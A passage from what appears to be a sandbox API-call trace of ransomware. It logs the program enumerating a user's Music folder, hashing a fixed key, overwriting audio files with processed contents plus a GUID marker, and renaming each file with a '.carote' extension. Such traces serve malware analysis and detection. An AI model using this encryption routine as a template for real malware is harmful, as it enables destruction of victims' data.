Size=0x11) returned 0x7a13260 [0113.060] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.060] GetLastError () returned 0x0 [0113.061] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.061] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0113.061] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.061] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x10ea0) returned 0x7b182e0 [0113.061] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.061] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.061] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x10e94, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x10e94, lpOverlapped=0x0) returned 1 [0113.061] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.061] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10e99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.061] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.061] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.062] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.062] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.062] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.062] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.062] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.062] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.062] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.062] CloseHandle (hObject=0x61c) returned 1 [0113.063] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0113.063] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0113.063] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0113.063] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\kaUGY_Ao.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\kaugy_ao.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\kaUGY_Ao.wav.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\kaugy_ao.wav.carote")) returned 1 [0113.064] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.064] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.065] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0113.065] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd555a390, ftCreationTime.dwHighDateTime=0x1d4d108, ftLastAccessTime.dwLowDateTime=0x7be994f0, ftLastAccessTime.dwHighDateTime=0x1d4cd8f, ftLastWriteTime.dwLowDateTime=0x7be994f0, ftLastWriteTime.dwHighDateTime=0x1d4cd8f, nFileSizeHigh=0x0, nFileSizeLow=0x146e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lXWYDIZ6pnb1Y.m4a", cAlternateFileName="LXWYDI~1.M4A")) returned 1 [0113.065] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.065] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0113.065] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.065] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\lXWYDIZ6pnb1Y.m4a") returned=".m4a" [0113.065] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\lXWYDIZ6pnb1Y.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\lxwydiz6pnb1y.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.066] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=5230) returned 1 [0113.066] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.067] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1448, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.067] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.068] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.069] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.069] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.069] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x146e, lpOverlapped=0x0) returned 1 [0113.069] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.069] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.069] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.069] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.069] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0113.070] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.070] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.070] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.070] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.070] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.070] GetLastError () returned 0x0 [0113.070] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.070] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0113.070] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.070] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1470) returned 0x7b182e0 [0113.070] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.071] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.071] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x1469, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x1469, lpOverlapped=0x0) returned 1 [0113.071] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.071] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x146e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.071] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.071] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.071] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.071] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.071] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.071] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.071] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.071] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.071] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.071] CloseHandle (hObject=0x61c) returned 1 [0113.072] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.072] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0113.072] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.072] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\lXWYDIZ6pnb1Y.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\lxwydiz6pnb1y.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\lXWYDIZ6pnb1Y.m4a.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\lxwydiz6pnb1y.m4a.carote")) returned 1 [0113.072] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.072] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.073] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0113.073] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724e60a0, ftCreationTime.dwHighDateTime=0x1d4d448, ftLastAccessTime.dwLowDateTime=0xb4d2b680, ftLastAccessTime.dwHighDateTime=0x1d4d13f, ftLastWriteTime.dwLowDateTime=0xb4d2b680, ftLastWriteTime.dwHighDateTime=0x1d4d13f, nFileSizeHigh=0x0, nFileSizeLow=0x115f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PxtCJh0B.mp3", cAlternateFileName="")) returned 1 [0113.073] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.073] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0113.073] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.074] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\PxtCJh0B.mp3") returned=".mp3" [0113.074] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\PxtCJh0B.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\pxtcjh0b.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.074] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=71152) returned 1 [0113.074] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.075] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x115ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.076] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.077] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.077] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.077] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.077] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x115f0, lpOverlapped=0x0) returned 1 [0113.078] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.078] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.078] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.078] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.078] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0113.079] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.079] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.079] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.079] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.079] GetLastError () returned 0x0 [0113.079] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.079] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0113.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x115f0) returned 0x7b182e0 [0113.079] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.079] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x115eb, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x115eb, lpOverlapped=0x0) returned 1 [0113.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.080] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x115f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.080] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.080] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.080] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.080] CloseHandle (hObject=0x61c) returned 1 [0113.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0113.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0113.081] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0113.081] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\PxtCJh0B.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\pxtcjh0b.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\PxtCJh0B.mp3.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\pxtcjh0b.mp3.carote")) returned 1 [0113.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.082] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0113.083] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9328530, ftCreationTime.dwHighDateTime=0x1d4ca4f, ftLastAccessTime.dwLowDateTime=0x8f98fe40, ftLastAccessTime.dwHighDateTime=0x1d4d21d, ftLastWriteTime.dwLowDateTime=0x8f98fe40, ftLastWriteTime.dwHighDateTime=0x1d4d21d, nFileSizeHigh=0x0, nFileSizeLow=0xb3d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TtS5 r6- rR.wav", cAlternateFileName="TTS5R6~1.WAV")) returned 1 [0113.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0113.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0113.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0113.083] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\TtS5 r6- rR.wav") returned=".wav" [0113.083] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\TtS5 r6- rR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\tts5 r6- rr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.083] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=46039) returned 1 [0113.083] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.085] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb3b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.085] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.087] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.087] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.087] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xb3d7, lpOverlapped=0x0) returned 1 [0113.087] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.087] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.087] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.087] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.087] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0113.088] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.088] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.088] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.088] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.088] GetLastError () returned 0x0 [0113.088] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.088] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0113.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb3e0) returned 0x7b182e0 [0113.089] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.089] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xb3d2, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xb3d2, lpOverlapped=0x0) returned 1 [0113.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.089] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb3d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, 